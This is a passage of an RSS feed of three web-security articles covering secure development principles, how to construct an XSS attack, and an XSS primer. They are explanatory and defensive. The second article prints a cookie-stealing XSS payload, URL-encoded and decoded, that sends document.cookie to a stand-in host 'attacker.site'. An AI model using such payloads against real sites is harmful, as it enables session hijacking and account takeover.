<p style="text-align: justify;">These attacks, as one can imagine, are the cause of financial loss as well as loss of client trust. If you held an account with a company that suffered a data breach, you would think twice before trusting that company with your data again. Recently, developers have been brought into the fold with regards to web application security; a field that a couple of years ago was only relevant to security professionals whose jobs revolve around security. Nowadays, security has become a requirement that has to be implemented, for a web application developer to meet all the necessary deliverables. Security needs to become a part of the development process, where it is implemented in the code that is being written, and not just as an afterthought that becomes relevant after an attack.</p>
<p style="text-align: justify;">Security has to be a part of every step of the software development life cycle due to its importance. A chain is only as strong as its weakest link, as is a web application - a low level vulnerability can provide an attacker with enough of a foothold that will allow the attacker to escalate the exploit to a higher level. Below are some principles that every web application developer should follow throughout the SDLC, to ensure that they are writing code that is secure enough to withstand any potential attack.</p>
<p style="text-align: left;"><strong>The Defense in Depth Approach</strong></p>
<p style="text-align: justify;">Defense in depth is a concept whereby a system that needs to be secured, will sit behind multiple layers of security. Here, redundancy is key, so that if a security mechanism fails, there will be others that will catch the vulnerability or block its exploitation. It is important that these layers of security are independent from each other and that if one is compromised, the others will not be affected. It would appear that integrating the mechanisms with each other can make for a better security system, such as if one security mechanism detects a vulnerability, it will alert the others so that they can be on the lookout for anything that the first mechanism might have missed. This is not the case, as it will only make for a weaker defense. If the first layer is compromised, it could lead to the other layers being compromised as well, due to their integration which leads us to the fact that having separate and independent mechanisms is the best implementation to go with.</p>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/how-web-applications-can-become-more-secure-2.jpg" alt="Creating secure Web Applications " style="text-align: justify; margin: 7px; float: left;" title="Creating secure Web Applications " />One such example of implementing a defense in depth approach would be to restrict an administrator panel to be accessed only from a particular IP address. Even though there is enough protection, for most cases, by using credentials in the form of a username and password to log into the admin panel, the added layer of protection will come in handy. If the password is disclosed to an attacker, the protection will no longer be valid, therefore making the login setup irrelevant. By implementing another small but robust security feature, you will be moving towards making your defense infallible.</p>
<p style="text-align: justify;">On the other hand, a security feature should not be a complete inconvenience to the user. For example, allowing access to an admin panel from one IP address makes sense, but requiring the user to pass through too many security checks, will lead the user to take certain shortcuts that will render all the security features that have been set up, futile.</p>
<p style="text-align: justify;">For example, if you request a user to change their password every day, you can be sure that these passwords will be written down on a piece of paper, thus making the environment less secure than what it was to begin with. Which is why there needs to be a balance of making sure that a system is secured, while still allowing users to utilise the system.</p>
<h2 style="text-align: left;">Filtering User Input</h2>
<p style="text-align: justify;">The key principle is not to trust the end user, since one can never know for sure if the user’s intent is malicious or if the user is simply using your website for its intended purpose. Filtering user input is a good method that will allow your web application to accept untrusted inputs while still being safe to use and store that input.</p>
<p style="text-align: justify;">There are many ways to filter input, depending on the vulnerabilities that are being filtered against. The problem that comes with not filtering user input does not end at the web application itself, since this input will be used subsequently. If the malicious input is not filtered, certain vulnerabilities such as <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/how-sql-injection-attacks-work-examples.html" target="_blank" rel="nofollow" title="SQL Injection"><span style="color: #1155cc;">SQL Injection</span></a>, <span style="color: #1155cc;">Cross Site Request Forgery</span> and <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" rel="nofollow" title="Cross-Site-Scripting Attack"><span style="color: #1155cc;">Cross-site Scripting</span></a> can be exploited.</p>
<p style="text-align: justify;"><strong>Cross-site Scripting (XXS)</strong> works since the browser or web application, depending on the type of <strong>XSS</strong>, will execute any code that it is fed through user input. For example, if a user enters:</p>
<p class="box-download" style="text-align: justify;">&lt;script&gt;alert(‘<strong>Exploited Vulnerability</strong>’)&lt;/script&gt;</p>
<p style="text-align: justify;">And this input is not sanitised, this snippet will be executed. To ensure that this input will not be executed, the data needs to be sanitised by the server.</p>
<p style="text-align: justify;">Filtering user input should always be done on the server side, because once again, the user can never be trusted. If Javascript is used on the client side, there are ways to bypass these checks, but implementing the check on the server ensures that no malicious input will get past the filter.</p>
<h2 style="text-align: left;">Principle Of Least Privilege</h2>
<p style="text-align: justify;">This principle applies to both applications and users, where the amount of privileges that are provided need to be equivalent to the privileges that are required for them to fulfill their purpose. For example, you would not provide a user who uses their machine for word processing with the authority to install software on that machine.</p>
<p style="text-align: justify;">The same goes for applications - you would not allow an application that provides you with weather updates, with the authority to use your webcam. Apart from the obvious issue where the user (and application) cannot be inherently trusted as they can have malicious intent, the user can also be fooled into performing actions using the allowed authority. For example, the best way to prevent a user from unintentionally installing malware, would be to not allow the user to install anything in the first place.</p>
<p style="text-align: justify;">If a web application will be handing SQL queries and returning the results, the database process should not be running as administrator or superuser, since it brings with it unnecessary risks. If the user input is not being validated and an attacker is able to execute a query of their own, with enough time and the appropriate privileges, the attacker can perform any action that they wish, since they would be running as admin or superuser on the machine hosting the database.</p>
<h2 style="text-align: left;">Whitelist, Not Blacklist</h2>
<p style="text-align: justify;">This choice will generally depend on what is actually being protected or what access is allowed. If you want the majority of users to access a resource, you will use a blacklist approach, while if you want to allow certain users, a whitelist approach is the way to go. That being said, there is the easier way and the safer way. Whitelisting is considered safer due to the ambiguity of blacklists.</p>
<p style="text-align: justify;">In a <strong>blacklist</strong>, <strong>everything is allowed except those that are not</strong>, while in a <strong>whitelist</strong>, <strong>anything that is not listed is not allowed by default</strong>. This makes whitelisting more robust when it comes to controlling user input, for example. It is safer to explicitly allow a set of characters that can be inputted by a user, so that any special characters that can be used for an attack, are excluded automatically. By default blacklisting will allow anything, so if the list of exclusions does not include every possible attack parameter and its different variations, there is still a chance of a malicious user input being accepted and passing through the filter.</p>
<p style="text-align: justify;">The amount of variation and obfuscation techniques that have become widespread make the whitelisting approach more desirable. Blocking <strong>&lt;script&gt;</strong> from user input will not be enough since more advanced techniques are being implemented that are being used to bypass filters that normally search for <strong>&lt;script&gt;</strong> tags.</p>
<p style="text-align: justify;">For example, if you have a registration form, where a user is prompted to enter their designation, it is much safer to allow all the possible designations (Mr, Mrs, Ms, Dr, Prof., etc.) than having to block all the possible attack parameters that an attacker could use instead of actually inputting their designation.</p>
<p style="text-align: justify;">Finally, the most important principle of all, is that from all the precautions and security measures that are taken, they are still not enough. This is due to two factors, the first being that thinking highly of your web application’s security will leave you complacent and with a false sense of security, where you are sure that your web application is secure from any potential threat. This can never be the case since every day, new advanced threats emerge that could bypass all the security that has been implemented. This leads us to the second point, where successful security techniques are ever evolving even on a daily basis. It is the developer’s responsibility to remain updated with emerging security techniques and threats, since there is always room for improvement when it comes to security.</p>
<p style="text-align: justify;">We left this principle for last; you never know enough. That’s right, we never know enough. <strong>Web application security</strong>, like any other IT security related subject is evolving on a daily basis. Keep yourself informed by reading and following industry <strong>leading web application security blogs</strong>.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Sat, 26 Dec 2015 18:29:22 +1100</pubDate>
		</item>
		<item>
			<title>Creating a Cross-site Scripting (XSS) Attack. Understanding How XSS Attacks Work &amp; Identifying Web Vulnerabilities</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/create-cross-site-scripting-xss-attack-understand-how-xss-work.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/create-cross-site-scripting-xss-attack-understand-how-xss-work.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/create-cross-site-scripting-xss-attack-understand-how-xss-work-1.jpg" alt="create-cross-site-scripting-xss-attack-understand-how-xss-work-1" style="margin: 7px; float: left;" title="Create XSS Scripting Attacks - Learn how to identify XSS code &amp; Attacks." />Part two of our <strong>Cross-site scripting</strong> (<strong>XSS</strong>) series shows how easy it is to <strong>create &amp; execute a XSS attack</strong>, helping readers &amp; network security engineers <strong>understand how XSS attacks work</strong> and <strong>how to identify web application vulnerabilities</strong>. <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" title="What is XSS Scripting Attacks and different type of XSS exploits">Part one</a> explained the <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" title="What is XSS Scripting Attacks and different type of XSS exploits"><strong>concept of XSS attacks</strong>s</a> while also analyzing the <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html" target="_blank" title="What is XSS Scripting Attacks and different type of XSS exploits"><strong>different type of XSS attacks</strong></a>.</p>
<p style="text-align: justify;"><strong>XSS exploits</strong> can be incredibly simple. The simplest attack grabs the user’s cookie contents and sends it to another server. When this happens, the attacker can extrapolate the user’s session information from what he receives, spoof his cookies to appear as if he is the victimized user, and gain unauthorized access to that user’s account. Obviously, if the user is privileged, like a moderator or administrator, this can have serious ramifications.</p>
<p style="text-align: justify;">As an example, think of an error message page where the message itself is part of the website address (known as a Uniform Resource Identifier, or URI), and is directly presented to the user. For this example, say that web page acts as follows:</p>
<p class="box-note" style="text-align: justify;"><span style="background: white none repeat scroll 0% 0%;">Request URI: <strong>/error.page?message=404 Error – Content Not Found</strong></span></p>
<p style="margin-left: 17pt; text-align: justify;"><span style="background: white none repeat scroll 0% 0%;">1. <span style="color: #7f0055;">&lt;<strong>html</strong>&gt;&lt;<strong>head</strong>&gt;&lt;<strong>title</strong>&gt;</span>Error<span style="color: #7f0055;">&lt;/<strong>title</strong>&gt;&lt;/<strong>head</strong>&gt;&lt;<strong>body</strong>&gt;</span></span></p>
<p style="margin-left: 17pt; text-align: justify;"><span style="background: white none repeat scroll 0% 0%;">2. An error occurred:<span style="color: #7f0055;">&lt;<strong>br</strong></span> <span style="color: #7f0055;">/&gt;</span></span></p>
<p style="margin-left: 17pt; text-align: justify;"><span style="background: white none repeat scroll 0% 0%;">3. 404 Error – Content Not Found</span></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4. <strong><span style="color: #7f0055;">&lt;/body&gt;&lt;/html&gt;</span></strong></p>
<p style="text-align: justify;">In<strong> line 3</strong>, you can see the idea behind the page: <strong>the error message provided via the query string variable message is printed to the user</strong>. If this URI does not sanitize anything, namely such as stripping HTML tags out, an attacker can inject anything.</p>
<p style="text-align: justify;">They can also mask that inject a little by substituting values with URL encoded values. If they wanted to steal cookies off a user using this error page, they could do so as follows:</p>
<p class="box-note" style="text-align: left;"><span style="background: white none repeat scroll 0% 0%;">Request URI: /error.page?message= %3Cscript%3Evar+i%3Dnew+Image%28%29%3Bi.src%3D%22http%3A//attacker.site/cookie%3Fvalue%3D%22+document.cookie%3B%3C/script%3E</span></p>
<p style="margin-left: 17pt; text-align: justify;"><span style="background: white none repeat scroll 0% 0%;">1. <span style="color: #7f0055;">&lt;<strong>html</strong>&gt;&lt;<strong>head</strong>&gt;&lt;<strong>title</strong>&gt;</span>Error<span style="color: #7f0055;">&lt;/<strong>title</strong>&gt;&lt;/<strong>head</strong>&gt;&lt;<strong>body</strong>&gt;</span></span></p>
<p style="margin-left: 17pt; text-align: justify;"><span style="background: white none repeat scroll 0% 0%;">2. An error occurred:<span style="color: #7f0055;">&lt;<strong>br</strong></span> <span style="color: #7f0055;">/&gt;</span></span></p>
<p style="margin-left: 17pt; text-align: justify;"><span style="background: white none repeat scroll 0% 0%;">3. <span style="color: #7f0055;">&lt;<strong>script</strong>&gt;<strong>var</strong></span> i=<strong><span style="color: #7f0055;">new</span></strong> Image();i.src=<span style="color: #2a00ff;">"http://attacker.site/cookie?value="</span>+document.cookie;<span style="color: #7f0055;">&lt;/<strong>script</strong>&gt;</span></span></p>
<p style="text-align: left;">&nbsp;&nbsp; &nbsp;&nbsp; 4. <strong><span style="color: #7f0055;">&lt;/body&gt;&lt;/html&gt;</span></strong></p>
<p style="text-align: justify;">First, notice the oddity of the message in the <strong>URL</strong>. Those two-character values prefixed with a percent sign <strong>(%)</strong> are <strong>hexadecimal numbers</strong> representing each character: <strong>%3C</strong> for <strong>&lt;</strong>, <strong>%3D</strong> for<strong> =</strong>, and so forth. This is a <strong>mild form of obfuscation</strong>, allowing the browser to <strong>understand the string</strong> while confusing the user reading it.</p>
<p style="text-align: justify;">In <strong>line 3</strong>, you can see that the browser properly understood the string and evaluated it into some JavaScript. In this particular example, the attacker has a script on his server that captures user cookie data by tricking the browser into loading that page as an image object. That object passes along the user’s cookie contents for the website to the attacker. That attacker now has the victim’s IP address, cookie data, and more, and can use this information to <strong>gain unauthorized access</strong> to the victimized user’s account, or worse, to more privileged areas of the website if the victimized user account had elevated rights.</p>
<h2 style="text-align: justify;">Different Kinds Of XSS Vulnerabilities</h2>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/create-cross-site-scripting-xss-attack-understand-how-xss-work-2.jpg" alt="create-cross-site-scripting-xss-attack-understand-how-xss-work-2" width="180" height="119" style="margin: 7px; float: left;" title="How XSS attacks work. Different types of XSS attacks." />This is also only one example of the various kinds of XSS attacks that can be executed. XSS attacks fall into three general categories as defined by <strong>OWASP</strong>: <strong>Stored</strong>, <strong>Persistent XSS</strong>, <strong>Reflected</strong>, and <strong>DOM-based XSS</strong>. <strong>Stored XSS attacks</strong>, as their name implies, are stored unsanitized in the website (such as in a database entry) and rendered on page-load (this is how the <strong>Samy worm</strong> operated). <strong>Reflected XSS attacks</strong> are usually more common, often a result of data within an <strong>unsanitized URI string</strong> that is rendered by the website’s frontend code (such as in the example above). The final type, <strong>DOM-based</strong>, exploits the <strong>Document Object Model environment</strong> similar to a <strong>reflected XSS attack</strong>, but by altering the page’s elements dynamically.</p>
<h2 style="text-align: justify;">Identifying XSS Vulnerabilities In Your Web Applications</h2>
<p style="text-align: justify;">There is no real catchall that can prevent all <strong>XSS exploits</strong> due to the highly dynamic nature of their existence and the complexities of new libraries and frameworks like <strong>jQuery</strong> and <strong>Bootstrap</strong>. However, a good place to start is with a <strong>web application security scanner</strong>, which searches for these kinds of exploits and more automatically, and <strong>provides suggestions on how to fix the identified XSS vulnerabilities</strong>. <strong>Sanitization</strong> is critical anywhere data is received by a website (like user input, query strings, POST form data, etc.), and a <strong>good security scanner</strong> can show you where sanitization is missing.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Fri, 04 Dec 2015 01:08:06 +1100</pubDate>
		</item>
		<item>
			<title>What is Cross-site Scripting (XSS)? Why XSS is a Threat, how does XSS Work? Different Types of XSS Attacks</title>
			<link>https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html</link>
			<guid isPermaLink="true">https://www.firewall.cx/security/web-application-vulnerability-scanners/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits.html</guid>
			<description><![CDATA[<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits-1.jpg" alt="understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits-1" style="margin: 7px; float: left;" title="What is Cross-site Scripting ?" />Part one of our two-part series on Cross-site scripting (XSS) explains what <strong>are </strong>XSS attacks. We also take a close look on <strong>how XSS exploits work</strong> (urls, cookies, web cache etc.) and analyze their <strong>impact on business websites</strong> – <strong>webservers</strong>, using real examples of popular <strong>sites</strong> that were <strong>hit using different XSS exploits</strong>. We also talk about the <strong>different type of XSS attacks</strong> that make website users very difficult to identify and detect them. Part-two will provide a <strong>Cross-site scripting attack example</strong>, talk about the different type of <strong>XSS vulnerabilities</strong> and explain <strong>how to identify XSS vulnerabilities</strong> in your web applications &amp; web servers.</p>
<p class="box-note" style="text-align: justify;"><a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/create-cross-site-scripting-xss-attack-understand-how-xss-work.html" target="_blank" title="XSS Scripting - Identify XSS vulnerabilities">Part two</a> analyzes XSS attacks, showing how easy it is to <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/create-cross-site-scripting-xss-attack-understand-how-xss-work.html" target="_blank" title="XSS Scripting - Identify XSS vulnerabilities">create a XSS script</a>, and provides useful information on <a href="https://www.firewall.cx/security/web-application-vulnerability-scanners/create-cross-site-scripting-xss-attack-understand-how-xss-work.html" target="_blank" title="XSS Scripting - Identify XSS vulnerabilities">how to identify XSS vulnerabilities</a>.</p>
<p style="text-align: justify;">Websites operate typically with two sides to them: the backend and frontend. On the backend, there are the familiar layers of systems that generate the elements for the frontend – the web application service, language renderer (e.g. PHP or Python), database, and so forth. These areas are commonly the ones most focused on when it comes to securing a website, and rightfully so. Some of the most damaging hacks in history were a result of successful attacks on the backend systems. But the frontend, where things like HTML, CSS, and most especially JavaScript exist – is equally susceptible to attack, with considerable fallout as well.</p>
<p style="text-align: justify;"><strong>Cross-site scripting</strong>, which is more commonly known as XSS, focuses the attack against the user of the website more than the website itself. These attacks utilize the user's browser by having their client execute rogue frontend code that has not been validated or sanitized by the website. The attacker leverages the user to complete their attack, with the user often being the intended victim (such as by injecting code to infect their computer). The user loads a trusted website, the rogue script is injected somehow, and when the page is rendered by their browser that rogue script is executed. With more websites performing their actions as browser-rendered code instead of in Flash or with static pages, it is easy to see why XSS can be a significant threat.</p>
<h2 style="text-align: justify;">Why Is XSS A Threat &amp; How Does It Work?</h2>
<p style="text-align: justify;"><img src="https://www.firewall.cx/images/stories/understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits-2.jpg" alt="understanding-xss-cross-site-scripting-attacks-and-types-of-xss-exploits-2" style="margin: 7px; float: left;" title="How Cross-site Scripting works?" />An XSS attack can actually be quite dangerous for users of a website, and not just because of the possible trust lost from its customers. When a user accesses a website, often much of its content is hidden behind some form of authentication – like how Facebook is practically useless unless you have an account. That authentication not only hides privileged information, but also provides access to the account itself (social media information, ability to make purchases, etc.). Some of the information required for that authentication is stored on the user's computer, namely in the form of cookies. If a user's cookies can be compromised via an injected XSS exploit, their account can be hijacked as well.</p>
<p style="text-align: justify;">This can have huge ramifications, especially on larger Content Management System (CMS) platforms and even social media websites. The software project management service, JIRA, found itself the target of an XSS exploit that affected large software companies such as the Apache foundation. This caused administrator accounts to become compromised, which could have led to a cascade effect of further data compromise, company secrets, proprietary software, etc. In fact, if you were ever a user of MySpace (remember that website?), you probably heard of the most infamous XSS exploit: the JS.Spacehero worm, also known as the MySpace Samy worm. These attacks not only caused serious problems with account compromises, but considerable financial loss as well. Even though the Samy worm was basically harmless, it caused an exponential spread in less than a day that forced MySpace to take itself offline for several hours, reportedly costing them over $1 million USD in revenue.</p>
<h2 style="text-align: justify;">Different Types Of XSS Attacks</h2>
<p style="text-align: justify;"><strong>XSS exploits</strong> can take a number of forms, which makes them very difficult for website users to detect. An innocuous short-URL link (like TinyURL or Bitly) to a website, a forum signature image, a modified website address, even something completely hidden from view (e.g. obfuscation, where it is written in an intentionally confusing, illegible manner) – any of these and more can be used to accomplish an XSS exploit. In fact, if a user's browser can load it (such as an image) or execute it (such as code), there exists opportunity for an XSS exploit.</p>]]></description>
			<category>Web Application Vulnerability Scanners</category>
			<pubDate>Wed, 04 Nov 2015 16:06:19 +1100</pubDate>
		</item>
	</channel>
</rss>
